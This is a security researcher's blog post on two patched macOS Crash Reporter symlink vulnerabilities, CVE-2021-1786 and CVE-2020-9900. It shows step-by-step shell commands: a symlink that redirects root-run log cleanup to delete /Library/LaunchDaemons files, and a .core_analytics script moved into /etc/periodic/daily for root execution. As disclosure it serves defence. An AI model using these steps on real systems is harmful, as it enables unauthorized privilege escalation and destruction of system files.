I plan to discuss two symlink attacks in this blog post. The first, more severe one, CVE-2020-9900 was reported by Zhongcheng Li (CK01) of Zero-dayits Team of Legendsec at Qi’anxin Group, and fixed in Catalina 10.15.6. Apple’s advisory said that with a symlink attack it was possible to elevate privileges. I never saw a public document about this bug, so I only assume that I will describe the actual issue here.

The second is CVE-2021-1786, which I reported to Apple back in July, 2020, and was fixed recently in Big Sur 11.2, Apple’s security advisory is available here. This is a classic symbolic link attack, which allowed us to delete arbitrary system files.

I will start with the second bug, as that is what led me to find the other one, which was fixed by then.

Crash Reporter Link to heading

Crash Reporter, collects various crash and other diagnostic logs in two locations, /Library/Logs/DiagnosticReports and ~/Library/Logs/DiagnosticReports . The second is used more for apps, which run as the user.

Interestingly, the default user id, which is in the admin group, is also member of the _analyticsusers group. This membership ultimately allows the user write and delete files in the /Library/Logs/DiagnosticReports directory.

csaby@bigsur ~ % ls -l /Library/Logs | grep Diag
drwxrwx---  11 root  _analyticsusers   352 Apr 19 04:53 DiagnosticReports

The crash reporter process, is called SubmitDiagInfo and it’s located at /System/Library/CoreServices/SubmitDiagInfo. This process runs as root, as we can see in the process list.

csaby@bigsur ~ % ps -je | grep Submit
root               468     1   468      0    0 Ss     ??    0:00.03 /System/Library/CoreServices/SubmitDiagInfo server-init

The SubmitDiagInfo process retires old reports on a weekly basis and moves them into the Retired subfolder. The process also cleans up the Retired subdirectory.

As we have write access to both /Library/Logs/DiagnosticReports and ~/Library/Logs/DiagnosticReports folders (either the global as an _analyticsusers user or the one in the user’s home directory) , we can delete the existing Retired folder, and create a symlink pointing to the location of our choice.

csaby@bigsur DiagnosticReports % pwd
/Users/csaby/Library/Logs/DiagnosticReports

csaby@bigsur DiagnosticReports % ln -s /Library/LaunchDaemons Retired

csaby@bigsur DiagnosticReports % ls -l
total 0
lrwxr-xr-x  1 csaby  staff  22 Apr 19 05:03 Retired -> /Library/LaunchDaemons

In this case I point it to /Library/LaunchDaemons, because why not. The vulnerability is that SubmitDiagInfo will follow this symlink.

Let’s explore what we can do with that.

CVE-2021-1786 - Arbitrary file deletion Link to heading

It gives us some light arbitrary file deletion as root. We pointed our symlink to /Library/LaunchDaemons. This means that whatever is stored there will be cleaned up (deleted) on a weekly basis.

csaby@bigsur DiagnosticReports % ls -l /Library/LaunchDaemons 
total 8
-r--r--r--  1 root  wheel  1156 Aug 10  2020 com.vmware.launchd.tools.plist

SubmitDiagInfo will only delete files older than one week. The file in my /Library/LaunchDaemons folder will satisfy this requirement, as it’s a couple of months old.

This is where we wait, and wait, and wait….

Waiting

Ok, a week passed. The impatience ones, like me can set their date to a week ahead to play along - of course you can’t do this if not root, so in real life it doesn’t count.

Once the process starts cleanup, we can see that it will delete all files found in that directory, depending on its timestamp.

csaby@bigsur DiagnosticReports % log show --style syslog --predicate 'processImagePath CONTAINS[c] "SubmitDiagInfo" && eventMessage CONTAINS[c] "Removing"' --last 2h
Filtering the log data using "processImagePath CONTAINS[c] "SubmitDiagInfo" AND composedMessage CONTAINS[c] "Removing""
Skipping info and debug messages, pass --info and/or --debug to include.
Timestamp                       (process)[PID]    
2021-04-26 05:10:55.982396-0700  localhost SubmitDiagInfo[468]: (OSAnalytics) Removing old retired log '/Users/csaby/Library/Logs/DiagnosticReports/Retired/com.vmware.launchd.tools.plist'

Yay! The file is deleted.

Interestingly it detects the symlink, yet still follows it.

csaby@bigsur DiagnosticReports % log show --style syslog --predicate 'processImagePath CONTAINS[c] "SubmitDiagInfo" && eventMessage CONTAINS[c] "Symlink"' --last 2h
Filtering the log data using "processImagePath CONTAINS[c] "SubmitDiagInfo" AND composedMessage CONTAINS[c] "Symlink""
Skipping info and debug messages, pass --info and/or --debug to include.
Timestamp                       (process)[PID]    
2021-04-26 05:10:55.981832-0700  localhost SubmitDiagInfo[468]: (OSAnalytics) subpath symlink detected '/Users/csaby/Library/Logs/DiagnosticReports/Retired' -> '/Library/LaunchDaemons'; no usable path

Ok, so here we deleted a file as root with our user account. If you are here for privilege escalation, read on. And what is this symlink detection anyway?

CVE-2020-9900 - File write to custom location Link to heading

This is where the first bugs comes into play, and the log entry about the symlink. If we go back to an earlier version of Catalina (e.g.: 10.15.4), we will find that similarly to file deletion, we can redirect file writes into custom location, when logs are retired from the DiagnosticReports directory. The symlink message is also gone.

csaby@dev ~ % log show --style syslog --predicate 'processImagePath CONTAINS[c] "SubmitDiagInfo" && eventMessage CONTAINS[c] "Analytics"' --last 4h      
Filtering the log data using "processImagePath CONTAINS[c] "SubmitDiagInfo" AND composedMessage CONTAINS[c] "Analytics""
Skipping info and debug messages, pass --info and/or --debug to include.
Timestamp                       (process)[PID]    
2020-07-30 13:45:13.940456+0200  localhost SubmitDiagInfo[498]: (OSAnalytics) Retiring submitted '/Library/Logs/DiagnosticReports/Analytics-Journal-90Day-2020-07-30-122025.core_analytics'

Ok, but which files will be retired? Turns out not every file type, it will be extension specific. The CopyExtensionForProblemType function in the CrashReporterSupport framework, which is located at /System/Library/PrivateFrameworks/CrashReporterSupport.framework/Versions/A/CrashReporterSupport - or instead in the dyld shared cache if you look on the Big Sur version ;) has a nice list of the supported extensions.

The list is not really interesting beyond the fact that it’s limited.

Ok, so at this point we can move a file with a specific extension to an arbitrary location. What does it give us?

CVE-2020-9900 - Local Privilege Escalation Link to heading

The question is if there is any service on the system, which will happily execute a file for us with any extension. There is one (at least), the periodic script tasks. It runs as root, and will execute every script found in one of the following directories.

csaby@dev Logs % ls -l /etc/periodic 
total 0
drwxr-xr-x  2 root  wheel   64 Apr 26 15:47 daily
drwxr-xr-x  5 root  wheel  160 Aug 25  2019 monthly
drwxr-xr-x  3 root  wheel   96 Apr 13  2020 weekly

As the name suggests they run daily, weekly and monthly. The ultimate zen way is choosing the monthly and then you get root in 1 week + 1 month time. Here I will go for daily, which is still slow, but not that much.

csaby@dev DiagnosticReports % ln -s /etc/periodic/daily Retired

csaby@dev DiagnosticReports % echo /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal > lpe.core_analytics

csaby@dev DiagnosticReports % chmod +x lpe.core_analytics

Here I recreate the symlink, and make a one liner bash script which will start Terminal.

Once the log retirement happen our file will be moved.

csaby@dev DiagnosticReports % sudo ls -l /etc/periodic/daily
...
-rwxr-xr-x@ 1 csaby        _analyticsusers    23 Apr 18 11:35 lpe.core_analytics

csaby@dev DiagnosticReports % sudo periodic daily

As a side effect the other daily scripts are gone, because of the cleanup. If you are a nice attacker, you might want to backup and restore them.

As noted earlier we can use this vulnerability to move an arbitrary file with specific extensions to an arbitrary place. If we use this to copy a file with an executable permissions into /etc/local/periodic/daily we can turn this into a privilege escalation. Since the periodic utility will execute every file in that folder regardless of name and extension, we can get our code executed.

We can simulate the periodic run with sudo periodic daily so we don’t need to wait 24 hours. (I also set the date in calendar to trigger retirement of the files).

Conclusion, credits Link to heading

As noted I’m not 100% this is what CVE-2020-9900 was, but I have a strong guess. Maybe CX01 will correct me, and if so I will update this post. Also there might be a more efficient way exploiting it.

Apple’s advisory:

Available for: macOS Big Sur 11.0.1, macOS Catalina 10.15.7, and macOS Mojave 10.14.6
Crash Reporter
Impact: A local user may be able to create or modify system files
Description: A logic issue was addressed with improved state management.
CVE-2021-1786: Csaba Fitzl (@theevilbit) of Offensive Security
Available for: macOS Catalina 10.15.5
Crash Reporter
Impact: A local attacker may be able to elevate their privileges
Description: An issue existed within the path validation logic for symlinks. This issue was addressed with improved path sanitization.
CVE-2020-9900: Zhongcheng Li (CK01) of Zero-dayits Team of Legendsec at Qi'anxin Group